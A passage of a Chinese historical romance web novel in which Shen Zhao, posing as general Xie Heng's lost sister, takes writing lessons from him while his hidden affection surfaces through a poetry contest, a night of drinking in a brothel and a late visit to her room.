一股不容抗拒的力道挑起她的下巴,迫使她抬头。 火光中,他的脸近在咫尺,丰神俊逸,深邃如墨的眼瞳里只有她和烧不尽的欲|火。 “谢珩,你中毒了?”她艰难地维持头脑清醒,憋出几个字。 他却低头勾起唇角。 她很少见他笑过,若论女子笑颜盛过百花绽放,他的笑便如破冰的春水,初看清冷戚戚,却带着席卷苍茫的放肆和张扬。 “我当然知道自己在做什么。” 他眼中那团火燎至唇畔,抚在她腰间的手骤然收紧,她下意识后仰,后脑却被他紧紧扣住,霸道又不容拒绝地吻了下来。 饶是再知书达理的气度,但武将的遒劲霸道的力气和魁梧挺壮的身姿,如山般将她牢牢困住。 她竟一时连低头也无法做到。 他宽大有力的手自她的后脑轻抚至颈后,一寸寸蚕食她的雪肤,虎口处那道浅疤带着入骨深髓的电流,激起一阵战栗。 他的吻渐渐下移,下巴、颈间、在锁骨处留恋。 沈昭软的像被火融化的雪水,淌在他坚实的怀抱中。 他的手如一根纠缠不休的藤蔓,自腰后一路侵袭,攀至她的胸前的扣带,指节微微用力。 沈昭握住他的手:“别,谢珩。” “小姐,小姐。”春宁摇着纸扇,见睡梦中的小姐脸色愈发红了,忧心不已。 夏安将所有窗户、大门敞开,急得跺脚:“怎么办,要不要叫大夫。” 她们的声音将她从梦中叫醒,沈昭支起身子,擦了擦头上的薄汗,悠悠转醒:“我没事,回来吧。” 距离灵山寺一行已过了三日。 那日同谢珩说了几句九州与长安风俗不同后。 慧能便带着师兄弟寻到山洞中,她中毒不深又服下清毒的草药,体内该不会有余毒了。 可她这几日总会梦回山洞。 可梦里的人不是谢珩,他为她吸出毒血只是情形所迫罢。 她摇摇头将脑中杂念清除,又不是没有亲过,做个梦又何妨。 “将军。”杨方忧心地在外敲敲门,谢珩往日从未睡过懒觉,可自灵山寺一行,却晚起两日了,今晨上朝,他不得不提前催促。 锦衾之下,谢珩的中衣尽湿,腿间一片黏腻凉意。 他闭目凝神,可梦中的旖旎却挥之不去——沈昭发间的馨香仍扑在他鼻腔中,眼眸含水地望着他,像一方甘醇甜酒,诱人沉沦。 月白绸裤上瘢痕赫赫,他将起叠起,又寻了一块绸布裹起,扔给杨方:“拿去烧了。” 30-40 第31章 谢珩下朝后直奔左衙,到了之后猛猛喝了几大海碗虎杖冷饮子,均不解渴,他轻舔舌尖,竟因着上火,生了一圈细碎粟疮。 金吾卫一众见他脸色红润,本以为大将军心情甚好,但这拒人千里的凌然,又让人不敢靠近。 交代完衙里的事,他抽空去了趟医馆,大夫搭上他的脉:“公子,你这是心火亢盛,肾气过足。可成家了?” 谢珩身上燥热更甚,耳尖红得几欲滴血:“暂未。” 大夫眼中闪过一丝了然:“我先为公子施针泻火,再开几副方子,一日三剂,”他顿了顿,心里暗道这少年俊朗倒也不该尚未娶妻,但观其脉络又不是隐疾。 “医术讲求顺应天时自然,时值夏日,倒并不是大碍,但仍需从本源解决,方得根治。”他不便明说,只点到此。 晚上上值前,谢珩回了趟国公府,正巧厨房端上晚膳。 沈昭从灵山寺带回的野果被摆放于桌上,老夫人喜欢得紧,又舍不得多吃,每每用完饭后吃两个消消食。 她如今已不用服药,晚上常常同李立雯和沈昭少吃些,李立雯唤他一同入座:“珩儿,既回来了,便一起吃吧,你祖母今日心情好,喝了两碗鱼脍粥呢,你也来尝尝。” 这是自那日后,谢珩和沈昭第一次同桌用膳,在府里匆匆见过几次,两人只点头应和。 明明只是吸出毒血,可那梦中的旖旎又偏偏在脑中挥散不去。 谢珩撩袍坐在沈昭一旁,见她只低头盯着桌上的饭菜,嘴里嚼不停,腮鼓得圆圆的,让人忍不住想捏。 谢珩被这一闪而过的念头惊愣,又匆匆收了视线,端起碗。 “珩儿是不是最近太累了,莫是天太热,着了暑气。”老夫人看他颈间泛着红,神色并不自然,霎时忧心起来。 李立雯吩咐厨房再做些清凉饮:“别整日忙着公务,身子才是第一位的,若是不舒服,叫大夫入府替你看看。” 因着老夫人身子弱,她对府中每人都颇为留意,尤其是近身侍奉的,生怕谁染了病气,渡给老夫人。 谢珩只咽了几口,放下碗筷:“劳祖母和母亲挂怀,我没事,先回衙里了。” 沈昭念着有事问他,可他一直不得闲,在他离席后,她也匆匆放下碗筷:“祖母,母亲,我有事同兄长商议,等会我便回来,不用担心。” “谢珩。”沈昭脚下生风,追着他的背影跑。 府外。 谢珩驻足,沉息几口气,背转过身,却并未抬眸直视她:“何事?” “过几日诗会你去不去,母亲让我也去,兄长文武双全,写几篇给我呗,或者你拒了此事,她肯定不会让我独去。”李立雯提议让她参加诗会,多结交些好友,可她哪有那些心思,若结交得多了,之后身份败露更难圆回来,何况她又有何才学能同这些自小饱读诗书的人相比。 去探查谢珩妹妹行踪的人,线索断断续续,至今还未找到她。 她入国公府已过月余,虽整日吃喝,过得舒心,但总归不是长久之计,且呆的愈久,心中渐渐不安。 上次去灵山寺时,她求了一签【是非寥落终成空,镜花水月一场梦】,这是她念着何时能寻回谢怀瑾时,掷出的这一签。 真正的谢怀瑾如今在何处? 谢珩在牛家村寻的姑娘会是她吗? 她没将心底的疑问告诉旁人,一是因着求签问卦,信者信之,不信者无用,这等虚无的事恐影响他们探查,二是她既然收了钱财,总不能催着老板结了这差事。 “改日再议吧,我未必得闲去诗会。”谢珩的答案模棱两可,他虽爱看书,但这种凑热闹的事,他很少会去。 两人并肩立于国公府门前,一如他带沈昭回国公府那天,门前的石狮子仍昂首屹立,甚至连看守仍是同样的人。 可雁过留痕,人一旦在心上驻足过,就很难消弭她的痕迹了。 相顾无言,谢珩虽心中有话想说,可只得暂时咽下,转身消失于街巷;“我上值去了。” 他刚离去不久,熟悉的车驾停于国公府前,圆溜溜的小脑袋从车中探出,奶声奶气道:“女施主!” 慧能正挥着小拳头,笑得像个带褶的小包子。 沈昭三步并作两步,跃至马车旁:“小师傅又来逛长安城了,这次采买了什么好东西?” 慧能神神秘秘道:“这次我可带了个好东西,”他转身从马车里扯出一个叠得齐整的小布袋,“你看,这是上次你提过的茶树。” 上次因着他带路,误使谢家兄妹在山里走失,住持将他好一顿责罚,连着多日清扫寺院内外,累得他都瘦了! 为弥补他所犯下的过错,住持特让师弟给南方那个香客送信,请他务必帮忙寻到。 那香客昨日来灵山寺便带了这些枝条,慧能妥善地将其交到她手中:“那香客说,若用此物,也能种出茶树,但他说的方法,慧能听不懂。” 沈昭接下,又让春宁从府里带了些素食和点心:“上次是我不对,缠着你去寻野果,”架车的车夫恹恹咳嗽几声,沈昭退后半步,“小师傅,改日我再去灵山寺找你玩,替我谢谢主持师傅。” “那施主可一定要来,我再带你去山中摘其他野果吃。”慧能目含期待地眨巴眼。 话音刚落,马鞭“啪”地一声炸在马背之上,卷起漫天尘土飞扬。 沈昭小心捧着这些枝条,保不齐这也许是她日后飞黄腾达的根脉,她所接触的人中,只听闻高义信对此有研究。 不急于一时,她回府先寻了几本关于花卉树木繁殖的书,虽未确切记载茶树的移植方法,但扦插这种方式并不少见,她依书中所记,先将枝条妥善保存。 总归过几日诗会,这等热闹,高峻从不缺席,他弟弟应该也会同去,待见到他们时,再向他请教一二。 谢珩下值后,已过三更,长安城家家户户落了灯。 只有深宅大院门前灯笼烛火依旧。 他径自去了书房,书案上摆着他常看的几本书,他抽出夹在其中一本。 两指取出夹在其中的一页纸,纸上一首短诗呈在眼前,是他近几日所作。 笔走龙蛇,幼时在学堂时,他的字曾被夫子当做临帖,供同堂的学子临摹学习,高峻便是在那时主动同他结交。 树影婆娑,沙沙作响。 听到一阵细微的异响,他先将手中的纸藏于怀中,才抚上剑,眼神向窗外眄去,直到一只家雀儿压着树枝腾空,扑扇翅膀飞远,静听无人后,他才放下戒备,将怀中的纸郑重叠好,夹于书本中。 沈昭白日歇晌后,向春宁问过这长安城的诗会。 长安城诗会本分三种:宫廷诗会、方外闲趣和节令竞诗。宫廷宴会多由朝廷中的人举办,皇帝和朝中文官皆会出席,优者由圣上钦赐锦袍、银钱不等,谢珩诗赋出名便是在一次宫廷诗会中,力压当年的新科状元,获得头彩。 方外闲趣则更自在些,多由僧人和志趣相投的文人小聚,规模可大可小,且不论参与之人身份家世如何,选的地点自是极美极讲究,参与者多参禅悟道,讲求个修身养性。 更随意,但听起来便容易犯困。 节令竞诗每朝每代都有,由民间自发,无彩头但趣味足,大伙儿畅所欲言,甚至不讲究音律格调,图个消遣,雅俗共赏。 然这次诗会与以上均不同,以高峻等一众士族子弟带头而办,既不想拘泥于宫中的规矩束缚,又私下结交志趣相同之人。 起初高峻他们的设想只是以诗会交友为由头,寻个正当机会,从他爹那儿名正言顺捞点钱,找乐子罢了。 但后来参与者之众,其中不乏朝中权贵以诗会友而来,高峻又不能不在乎高家颜面,只得误打误撞,将错就错。 随着更多文人墨客加入,其规则环节也更正式,开场礼、创作、吟诵、雅趣助兴其礼节制式不比宫中简单,还会邀请弘文馆学士点评。 仅创作一项,便含命题作诗、即兴联句、分韵赋诗等等 “停,”沈昭捂着自己的耳朵,莫说让她去作诗,便是听听这些规则都头昏脑涨。 不去,打死不去。 她下定决心,从明日起就装病卧床,能拖一日是一日。 翌日,比诗会更早唤她起身的,是谢珩。 春宁和夏安抬着她的臂弯,将她从床上扶起,天还未明,她闭着眼,生无可恋:“他一大早找我作甚,我再睡会。” “奴婢不知,但据杨方说,好像是为了诗会。”春宁应道。 沈昭脚尖向床,作势要睡:“那更不去了。”她都自己想好对策了,不需要他的诗了。 春宁和夏安一左一右将她按下:“听闻是经过夫人允准了,由少爷这几日教小姐,临阵磨枪,学点总比不学好。” 沈昭垂下头,学也可以,但用不着闻鸡起舞这么拼吧,打鸣的鸡还没起呢! 第32章 沈昭梳洗换衣后,因着李立雯和老夫人未起,她独自磨磨蹭蹭吃了一个时辰的早膳。 云天羃羃,气清天明,谢珩的催促还音犹在耳,她亦彻底清醒了。 她暗吁一口气,由他们去吧,总归她已下定决心诗会当天不去,在府里做做样子罢,总归不能太过懒散了。 估计一会谢珩讲学时,只怕她不想睡觉都难。 其实她有过取巧的想法,书中那些穿越者到古代,斗诗于他们而言手拿把掐。 唐诗三百首、宋词元曲,哪个不是凝结中华上下千年的智慧和精华,她虽不能熟读,但那些名家经典之作,总会背得滚瓜烂熟,这些命题作诗、即兴赋诗,不都是变相考验背课文么。 但她很快就绝了这个念头。 她虽然骗人骗惯了,但到底只为了自保罢了。 况且她对历史只知皮毛,她现在所处的时代是否在历史上真实存在尚未可知,她不了解不代表它不存在,若她真脱口背出李杜的传世名作,这不就是赤裸裸窃取他人成果。 不可。 适时,王管家特意从书房备齐了崭新的笔墨、砚台、镇纸等用具,派人送到沈昭后院。 春宁欣喜地双手接过,她知少爷才学出众,但谢珩为人低调只参加过几次宫廷诗会,从不在府中显露,众人都想一睹其风采,她今儿可沾了小姐的光了! 夏安自给小姐梳完发髻后,一直低垂着头,眼神闪躲。 沈昭与她惺惺相惜,这不正是怕老师上课提问喊她时,她的模样么。 她认命地领着春宁去了“秉正堂”:“夏安,你在院里自己玩吧。” “谢谢小姐!”夏安憋不住笑,眼睛都霎时亮如晨星。 谢珩晨练后,就在书房中一直等她。 书房内,他练的字已在桌上摆不下,铺散在地上。 发髻高束,以青玉簪定之,额间不留碎发,眉目清明,一身艾绿圆领袍,没有一丝褶皱,腰间束素革带,悬一枚玉佩。 褪去周身的戾气和锋芒,活像换了个人,一手持笔,身影投于轩窗下,恍若青竹挺立。 春宁执礼后,匆匆垂下眼,虽然沈昭对她们并无太多管束,但到底不能乱了规矩,主是主,仆是仆。 沈昭一时恍惚,微愣在原地,直到他出声打断:“杨方卯初寻你,如今已到巳初,是否过会你又嚷着快到午膳用时了?” 沈昭厚着脸皮在心里自我宽慰,兄长待她着实不错,连一会要走的理由都提前知会她了。 “还不速来练字。”谢珩眉峰微敛,哪还有书生模样。 果然修罗便是修罗,披了个好画皮也只是假象,若一旦成为夫子,更像积了十年怨气一般。 春宁不敢怠慢,同家丁一起收拾好地上的纸后,将沈昭所用的东西摆放在桌上,退至一旁侍奉。 沈昭这几日虽没再做那些奇怪的旖梦,但除非有事相商,亦不想主动寻他,哪怕她前几日得了茶树枝后,虽然想向高义信讨教一二,但思虑良久,未让谢珩帮忙下帖。 若继续耽搁下去只怕真到午时了。 她提步走到谢珩身侧,一脸从容地握起毛笔,有模有样地蘸墨,笔毫渐渐吸足墨汁,染成深黑。 她提笔,滴答——吸满水的笔尖凝出一滴墨,绽放在纸上,洇成一朵罕见的花。 她挑眉,忽略头顶那声浅浅的吐息,下笔如神助,飞一般在纸上留下她的“大作”。 草书亦是书。 与其她整整齐齐,横不是横,捺不是捺,还不如趁早绝了这个“夫子”的念想。 谢珩低垂眼眸盯着纸上的“字”,努力克制着沉声静气。 她忽而扭身看向他,衣袖轻旋,扫过案角未收的宣纸,发间金簪坠着一只金丝蝶,以宝石缀成彩色,随她的动作微微晃动:“如何,兄长,我这字可还有救?” 之前签契书时,他曾见过她的字,虽没有刻意练过,但却不像如此这般,敷衍于他。 “自然有救。”他说罢从书案旁扯出一根竹条,吩咐一旁服侍的家丁:“你们先退下。” 春宁犹豫着不敢走,但见他的眼刀冲她而来,结巴道:“小小姐,我在门外候着。” 沈昭不敢置信,他不必如此当真吧,都多大人了,还打手板! 她背抵在桌沿,伸出一根手指轻压下他手里握着的竹条。 小声道:“谢珩,你可不能动手,我真不会写,我们九州只有小部分人会这个,我写字用其他的笔,何况这个不能速成,我们参加诗会,又不是练字比赛。” 因着老夫人身子大好,李立雯便把心思移到回府的沈昭身上。 这几日她总有意无意提到沈昭的课业和规矩,让谢珩无事时多帮衬些,毕竟日后她代表着国公府,性子活泼虽好,但行事不能太不羁,若她实在难以受教,只得请私塾的夫子来家中授其课业。 若是真将那些之乎者也的夫子请来,以她的性子,虽然不喜,但为了不惹母亲忧心,只怕学亦学得痛苦,玩又玩得不尽然。 他便应下了,总归差不多学些,好对母亲有个交代。 谢珩抽出竹条,试图点在她写的“字”上纠正一番,但他实在不识,沉气说道:“你重新写过,慢慢写,莫急。” 她轻呼一口气,作势拿起笔,蘸墨后在砚台边来回蹭去余墨,怕他手里的竹条真甩到她手上,一笔一划耐着性子去写。 谢珩目光顺着她的笔画走,顿觉她的字方正笔直,乍看的话,虽无章法但却工整干净,但却经不起细瞧,力道不匀,使得有些字失了重心,越写越歪。 沈昭写完后手腕都酸了,撂下笔揉着手腕,直接开摆:“这是我的最高水平,实在不会。” 她眼眸亮亮地转动,“其实并不是我字写得不好,是这笔太沉,笔毫生涩,宣纸太皱,写着不顺手。” 待辨出她话中刻意而为的荒唐,他唇角不自觉弯了。那笑意极浅,却将眼尾的细小纹路都染上明晃晃的纵容。 他将自己的笔递给她:“那换支试试。” 沈昭顿时泄了气,但转念一想,她这算带薪读书?倒也划算,认命般地划拉两下墨汁,提笔置于纸上,本就控制不好的力度更如脱缰野马,拉不回头。 谢珩爱书惜字,实在不忍看,不经意间左手扶上案角,右手轻执她手腕,引她落笔。 她腕上一热,已被他的掌心相覆,指尖相叠处,一股细细麻麻的暗涌,顺着经脉抵上心头,比那新研的磨还热上三分。 他的衣袖擦过她的臂侧,与她的衣裙厮磨。 她的指尖不由得发僵,明明是她识得的字,但一撇一捺皆不由她,全随他腕间的力道起伏,若一叶扁舟系于长风,悠悠然不能自主。 “这一笔需藏锋。” 墨迹在纸上渐渐晕开,淡淡墨香混着她身上的甜香扑了他满面,他忽地松开她的手,喉间一紧,忽然失力。 笔尖直直坠在纸上。 晕开的墨汁如那日被他吮血浸染的手帕,一点点侵染,蚕食他的理智。 她唇上的温软,此刻竟绕在他的指尖,灼得他心口发烫。 初时同乘一伞仍百般顾及的他,如今竟从容不觉地主动搭上她的皓腕。 他饶是惊讶于自己这一自然又不自在的举动,后撤几步。 “罢了,姑且到这。”他说罢,大步踱至门外,只余一角衣袂轻拂过廊柱。 那之后,他再没教过她写字。 沈昭以身体不适为由,拒绝了李立雯给她安排授课的夫子。 “小姐,高家公子高峻来了,眼下正在少爷房内。”夏安前来禀告。 因着每次高家公子入府,都会唤沈昭一同出游,她得了消息提前知会小姐早做打扮。 沈昭单手支颐,坐于窗前,细想近日谢珩的变化,那冒出头的念想在她心中被狠狠压下。 不可能,绝不可能。 谢珩毕竟是她名义上的兄长,不过是看她写字磨人,一时急得忘了分寸罢。 她收回杂念,懒懒地趴下:“来就来吧,我还装着病呢。” “我来都来了,九如,你就帮帮我呗。”高峻绕柱拦着谢珩。 明日便是诗会,这几日不仅是高义信,他亦被高坤关在家中整日苦读,折磨得消瘦了不少,全然没有之前的神采。 他知谢珩平日会写些杂诗,总归他亦不准备发刊,何不借他一用,哀求道:“九如,这次蔺家那个小儿子势要同我比个高下,我只赢他这一次就可,你就帮帮我吧,我什么都可答应你。” 谢珩被他磨了半个时辰,杨方在一旁耳朵都听出茧子了。 他无他法,转身进了书房,高峻紧随其后:“还得是九如,你才是我最好的兄弟。” 谢珩从他之前写的诗集中挑了几首明日可能会论到的,递给他。 高峻感激涕零地郑重接过,顾不得细看,将其贴身放于怀中:“九如,你放心,待我赢下这次诗会,我定会在燕春院犒赏三军!” 燕春院是长安城最大的青楼,他一时口快,知谢珩定不会涉足于此,又改了口:“请你去春风楼。” “等等,”谢珩喊住他,转身从书的夹层中取出一页叠得齐整的纸,犹豫片刻后,似下了极大的决心:“还有一首。” 高峻第一次见他如此神情,想必这诗花了他不少心思,他攒动两指打开,却被谢珩压下:“到那日再看吧。” 神神秘秘,高峻将他虏获的“成果”收入囊中 诗会那日,谢珩当值,沈昭称病,谢家兄妹不出意外地没有出席,李玥虽很想参与,但却被她父皇阻了,在宫中要考查她最近的课业。 高义信自上次去谢府致歉后,再未见到沈昭,又不敢独自登门拜访。 他目光一直盯着院外,直到锣鼓声起,大门缓闭:“诸位,第五届赛诗会即将开赛。” 高峻靠他坐着,一把将他拉下:“义信,别痴等了,同你说过谢家兄妹都不来,为兄何时骗过你。” 他随口低声默背从谢珩那儿搜来的诗,他这几日在家苦读,虽心中有数,但仍怕一时紧张忘了,便又誊写了一份。 既是他的字迹就是他所作。 高义信心中担忧得紧,虽然上次他爹同谢家老夫人提过两人的亲事,但终究无媒无聘,何况谢珩的亲事八字还没一撇,又如何会议到回府不到一年的谢怀瑾身上。 至于谢珩,他从未听过他对长安城中哪家姑娘有意,日日忙于公务,只怕城中哪门哪户*有待嫁闺中的女子他都不知。 诗会如火如荼进行中,高义信表现亦是不俗,同蔺家不相上下,难得的是,高峻此次更是大展风采,洒金扇子轻摇,一身荼白长袍,以青和金线绣制松鹤,飘飘若画中仙。 出口成章,瞬时吸引了不少目光。 高义信低头浅笑,深知他兄长这是从谢珩那寻了些随笔的杂诗,若是能背得更准确些,只怕他都会被比下去。 几轮比试下来,只有高家与蔺家难分高下,最后一题特以“长安城”为题,即兴作诗,由在场所有人投花为票,得票多者获胜。 高峻背诗背得嗓子炽热如火,坐下豪饮几口凉饮。 瞧着对面蔺家兄弟那一筹莫展的样子,他眼珠流转,竟没料到九如押题都押得如此准,他伸手拦下刚起身的高义信,胸有成竹道:“这题我来。” “长安风物琳琅目, 似梦如烟空缈如, 慕尽人间笑逍遥, 沧海明月又昭昭。” 高峻忽地一抖腕,将扇子唰地亮开,挑眉望向高义信,得意的样子似在叫嚣,如何? 高义信暗叹一声,无奈摇头,只怕是兄长又背错了。 长安近在眼前,又岂会似梦如烟,这诗的前两句便词不达意,如此低阶的错误,又岂会是谢珩所犯。 高峻凑过身,志在必得道:“如何,这可是九如最珍视的一首诗,没想到他还压对了题,这次我们势必拿下。” 言语间,蔺家兄弟早就吟诵出口,因着高峻前几轮得了不少好感,凭着印象收了不少花,但弘文馆的学士们却在最后至关重要的几票投给蔺家。 “不可能,九如岂会比不过蔺家那俩小子。”高峻气急,要上前理论。 高义信伸手拦下他,他都能听出此诗中不合理之处,何况这些学儒:“你将他写的诗给我看看。” 高峻置气地将怀中藏着的诗文一股脑掏出:“就这篇。” 高义信看罢失笑,他的兄长不该机灵的时候,倒是脑子转得比谁都快,谢珩原写的九州风物琳琅目,他倒好,将九州和长安硬生生调换。 他记得舆图上并未见过九州这处,如此,倒是同第二句诗文契合,更说得通。 他反复盯着手里的这诗,忽而眉头紧蹙,问向高峻:“你说谢珩很珍视这首诗?” “嗯,可不是么,夹在书中,临走时另交于我,九如的才学岂会不如蔺家那小子,我还是不服!” “兄长,别去了,胜负已定,何况以诗会友罢了,”明明输了比试,高义信却倏然笑得开怀,“兄长,你不若改日问问谢珩,他所倾慕的,名为昭的女子是何人?” 第33章 昭? 长安城中哪家女子芳名或者小字含昭呢,高峻在头脑中反复琢磨,最后只锁定在三家,但要么年岁太小、要么被贬官罢职并未听过谢珩同她们有任何交集。 高峻一头雾水,但高义信又给他分析得头头是道,谢珩隐晦于诗中表达,不是单纯的藏头诗,反而藏前隐后摘出四字——九如慕昭。 加之他那珍视万分的举止,岂会不由人多想,任谁看亦不是巧合 “高公子,要我看啊,定是弘文馆那几个老头收了蔺家的好处,我觉得你作那诗极好。” “少说两句,来,高公子喝喝喝。” 虽然高家惜败,但高俊的面子不能丢,该摆的席还是得摆,该喝的酒不能少。 待诗会散了,他便带着他那些平日里斗鸡遛狗的朋友们包下春风楼,势必要不醉不归。 丝竹声声入耳,姑娘们轻歌曼妙,浓浓的酒气和脂粉香萦绕鼻尖。 晋国公府。 李立雯于老夫人房内秉烛相商,桌案上摆着长安城内女子小象,并在一旁附着年岁、家世、性情等。 她们最后暂定下三个年岁相仿,家世清白,性情稳妥的女子,待过几日亲自登门拜会。 念着谢珩平时少言,与她的交谈更少,李立雯忧心道:“只是不知珩儿作何想,是否该提前同他知会一下。” 老夫人:“不急于一时,我身子无恙,你也可多打听打听,不若先合一下这几个孩子和珩儿的八字看看,再做定夺,倒是高家那孩子和瑾儿,上次高家主动提及,我瞧着高家那孩子也算上心,你若去寺里合字,一块看看这俩孩子。” “好,还是阿姑想得周到。”李立雯应下。 门外,谢珩抬手止住属下的话。 “将军。”他将手中的梅干递给家丁,神色凛然地急匆匆出了府。 他今日轮值到晋国公府所在街坊,路遇卖梅干的老翁,记起祖母喜酸,便买了顺道送回,却无意间听到母亲和祖母的谈话。 眉眼寒霜走出府,祖母同母亲的话音犹在耳,他指节因不觉用力绷至青白,正巧碰到金吾卫寻他,声沉如铁:“何事?” 回禀的金吾卫登时出了一身冷汗,脑中闪过一片空白,磕巴道:“沿、沿街有售卖的商贩,是不是要——” “莫要多事。”谢珩掀袍而走,身影融于夜色。 金吾卫擦擦额上的薄汗,只求这一夜安然无事。 夜深阑干,苍穹如墨,只余几颗星子眨眼。 燕春院内歌舞笙箫不断,早已酒过三巡。 下值后,谢珩换下衣袍,径自去了燕春院。 刚绕过街角,浓艳的脂粉香扑面,他蹙眉扭头,仍不觉地打了几个喷嚏。 因着高峻包场子,所有姑娘们皆在其中伺候,只余几个龟公在门口候着,远远见黑夜中一个高大的身影靠近,不由得握紧手中的木棍。 待看清是个俊逸公子后,心中了然,但今日客满,他出手拦道:“公子,燕春院今日被高家公子包了,姑娘们暂不得闲,还请您改日再来。” 他骨节分明的手搭在腰间佩剑之上,指尖慢条斯理地轻点,来自上位者的威压逼得龟公不觉退后几步。 其中一个机灵的龟公一眼认出,他曾见过眼前人身披铁甲,威风凛凛,他当即拉着另一人跪下:“官爷,不知您有何贵干。” 谢珩冷冷开口:“把高峻叫出来。” 两个龟公互相递了个眼色,生怕得罪官爷,他们小命不保,一人将他请入内,一人扭头向楼上跑:“官爷,您稍后,我马上去喊。” 楼内,众人喝得尽兴,手不自觉地抚向一旁的姑娘们,有些早带着姑娘进了隔间,靡靡之声不绝于耳。 高峻定在此虽是全了其他弟兄的意,不过他家中司寝的婢女个个都不比这些姑娘差,他自然不屑,又吵得他心烦,但毕竟相熟,他又不好败人兴致。 怕扰了客人雅兴,龟公在外试探着敲门:“公子,高公子,外面有个官爷寻您。” “谁啊。”高峻不耐地将门推开。 “那那官爷说他姓谢,还随身带着剑,在楼下候着呢。” 高峻登时清醒几分,能将龟公吓至如此,除了谢珩还能有谁,估摸着时辰,他该是刚下值,可他怎么来了? 高峻登上靴子,可脚步虚浮,踉跄着险些摔倒,龟公上前搭手扶稳他:“爷,我扶您下去。” 站于楼梯口,他瞧见端坐在桌前的谢珩,因着酒劲,他大吼:“哟,看看是谁来了!九如,没料到你也有开窍的一天,我心甚慰啊!” 谢珩没同他多言,扯着他的臂膀把他拉至旁边的房内,“拿几坛上好的酒送来。”挥袖将门带上,随后垂首,不置一词地坐于一旁。 高峻踉跄着从地上坐起,脸红的比戏班子的伶人更艳:“九如,来来,我陪你喝,今夜不醉不归。” 几个龟公生怕惹他们不快,慌手慌脚地抱着酒坛杯盏,鱼贯而入,殷勤地摆于桌上:“官爷,您若有吩咐,可随时再唤小的”说罢,逃似的阖门走了。 一豆残灯在屋内摇曳,照得谢珩眉间挤出的川纹更深,姑娘莺声呖呖自隔间溢出,晃得屏风上烛影摇动,映着双双痴缠的身影。 “锃——”一阵嗡鸣,他将长剑掷出,剑身裹挟煞气,直接穿过走廊,刺破了对面屏风,忽听醉客骂骂咧咧的声音,带着寒光的剑自龟公耳边擦过,吓得他一动不敢动。 “聒噪。”谢珩怒道。 龟公忙打起精神,去给受惊的客人致歉,他们和高峻同行,自是不会同他起争执,便将他们周围的客人全换了雅间,单独给高峻和谢珩留下一间静室。 谢珩此时已喝下三大碗酒,烈酒入喉,如咽下炙热的铁,待莺莺燕燕的声音渐小,他将酒盅攥得更紧,猛地又倾入喉中。 高峻经他一吓,身上的酒气都淡了几分,他扶案坐下,扯着他的手腕:“九如,既是同饮,那得有来有往,自己一人独饮这是喝闷酒。”说罢给自己斟满,碰上他手中的瓷碗,“来,喝。” 他高举酒坛,给两人碗中斟满,月色皎皎,拉出的酒线银亮如丝,酒痕顺着他的嘴角,滑至下颌,噙着刺骨的寒。 高峻很少同谢珩对饮,亦不知他酒量,瞥见他眼眸转至猩红,眼底笼了一层水雾,便拉下他持碗的手:“九如,这昭昭是谁啊?” 在他印象中,谢珩一直是个清风霁月的君子,莫说失态,便是衣角都不曾有一丝褶皱,便是当下仍坐得挺拔如松,能让他郁闷至此,借酒消愁,他转瞬一想:“不会是人家姑娘没看上你吧,”他大笑出声,“我倒很想知道是哪家姑娘拒了你。” “她并不知我嘱意于她。”谢珩迟迟开口,吐出今晚的第一句话。 高峻看热闹的兴致缺缺:“那你何以愁苦至此,况且,我不信在长安城有人能拒了晋国公府下的聘,男婚女嫁都是父母之命,怎的,你母亲和老夫人不同意?” 谢珩抬手,将整壶酒倾入喉,多说无益。 走到今日这步亦是他自寻苦果,若不是当初他动了歪心,将她迎回府中,假扮作他妹妹,又岂会走入这般境地。 哪怕寻回谢怀瑾,各归各位,以母亲的性子,又岂会容她。 她本就不属于长安,又怎会受制于王府的拘束。 是他,从一开始便走了死局。 烈酒灼心,却浇不灭他心中的块垒,反而若火上浇油,烧得他五脏俱焚。 高峻拍拍他的肩:“九如,你和我弟都是读书读傻了,同姑娘相处自有其中学问,你们这种一根筋肯定不行,女孩子都要哄的,她喜欢什么你便投其所好啊,烈女怕缠郎,这点道理你总该懂。 你看看长安城中家世尚好的姑娘,谁人不是被早早定下,当然,我没说怀瑾不好的意思,毕竟你刚寻她回府,你年岁也不小了,若再不下手可就晚了,早日登门提亲吧。你早早结亲,我弟弟的婚事才有指望。” 他的话虚虚入耳,谢珩闻言起身,提剑往回走,将他最后一句话掷于身后。 “哎,你去哪?大晚上你别吓着人家姑娘。” 高峻安排了两个龟公送他回府。 天穹深深,远处几声犬吠刺破夜的寂静,显得长街空荡。 在门口的守卫见谢珩归来,忙上前去扶:“少爷,您这是?” 他身上酒气熏熏,挣开龟公的束缚,掏出几两碎银:“今夜之事若是声张,你们,,,” “是是,”龟公接过银子,干他们这一行只当瞎子聋子便是。 谢珩挥挥手独自回了“秉正堂”,侍卫多留了心,提前叫醒厨房煮醒酒汤。 他进屋换下身上的衣袍,去院中搬了几桶冷水,完全浸于水中,他并未醉得不省人事,此刻反而更清醒了几分。 高峻虽然行事出挑,但他所言不假,高义信对沈昭有意,上门提亲只是早晚的事,他不能等了,他得自己谋个出路,若她愿意,他会堂堂正正亲自迎娶她进门,若她不愿 他猛吸一口气,沉入水中。 谢珩沐洗后,换了身干净衣服,又特意燃香将身上的酒气散去七八分,坐于书房,提笔思索良久,写下一封信,他将信折好封存,递给在外候着的杨方:“交给小姐。” 指尖刚触及他的手时,谢珩又利落地用两指夹回:“算了,我自己给她。” 杨方眯着眸子,一脸困惑,记起刚刚在厨房见过春宁:“小姐可能醒了,我刚遇见春宁,说是她饿了,去厨房替小姐寻些吃的。” 沈昭半夜被饿醒,昏昏沉沉睡着了,天不亮竟又醒了,便让春宁去厨房寻点吃的,先垫垫肚子。 她半睁着眸子躺于床上,头脑却越来越清醒,心中盘算着过几日得去拜访高义信,否则那几根千里迢迢送来的茶树枝,只怕要枯了。 她轻手轻脚翻身下床,因着院中只有少数家丁起身,不欲惹人清梦。 门外脚步声渐近,她将门推开一线,柔声道:“春宁,快进来。” 沉香混着酒气涌入屋内,一个高大的身影覆在她身前。 她下意识地惊呼出声,却被一只温热的手掌覆住,将她口中的声音掩下。 “是我。”谢珩另一手掌心聚力,拿捏着力度将门轻轻带上。 沈昭冲他眨眨眼,他缓缓将手挪开。 她松了口气,但旋即又绷紧脑海中的弦,屋内门扉窗户尽掩,他一身酒气同她共处一室,眼前的人是谢珩? “你喝醉了?”沈昭轻声试探问他。 “是喝了些酒,但没醉。”他条理清晰地回答。 他凝眸望着她,深若幽潭,还浮着一丝醉意,仍执拗地望着她,一寸寸扫过她的眉眼,桌上的烛火在他眼眸中轻晃,将他眸中暗涌的情愫映得忽明忽暗。 酒气氤氲,她垂眸避开他的视线,却仍能感觉他凝在自己侧脸的视线。 